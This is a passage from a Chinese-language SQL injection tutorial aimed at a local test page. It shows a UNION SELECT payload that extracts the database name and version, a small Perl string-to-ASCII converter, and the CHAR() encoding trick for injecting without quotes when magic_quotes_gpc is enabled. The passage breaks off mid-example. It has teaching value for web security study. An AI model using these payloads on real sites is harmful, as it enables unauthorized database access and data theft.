|
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version() |
就可以返回当前数据库名和数据库版本,构造是比较容易的。
下面附上一段由我好友Super·Hei写的代码,可以把字符串转换为ASCII代码。感谢提供。
|
#!/usr/bin/perl $ARGC = @ARGV; $path=shift; @char = unpack('C*', $path); $asc=join(",",@char); print $asc; |
2、不加单引号注入
注:现在我们假设magic_quotes_gpc为on了。
众所周知,整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多问题。但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成整形类型,这个就需要用到CHAR(),ASCII(),ORD(),CONV()这些函数了,举个简单的例子:
|
SELECT * FROM user WHERE username='angel' |
如何使$username不带引号呢?很简单我们这样提交就可以了。
|
SELECT * FROM user WHERE username=char(97,110,103,101,108) |
其他函数大家自己去测试好了,但是前提就如上面所说的,我们可以构造的变量不被引号所包含才有意义,不然我们不管构造什么,只是字符串,发挥不了作用,比如前面猜密码的例子(user,php),我们把查询条件改为userid:
|
SELECT * FROM user WHERE userid=userid |
按照正常的,提交:
|
http://127.0.0.1/injection/user.php?userid=1 |
就可以查询userid为1的用户资料,因为1是数字,所以有没有引号都无所谓,但是如果我们构造:







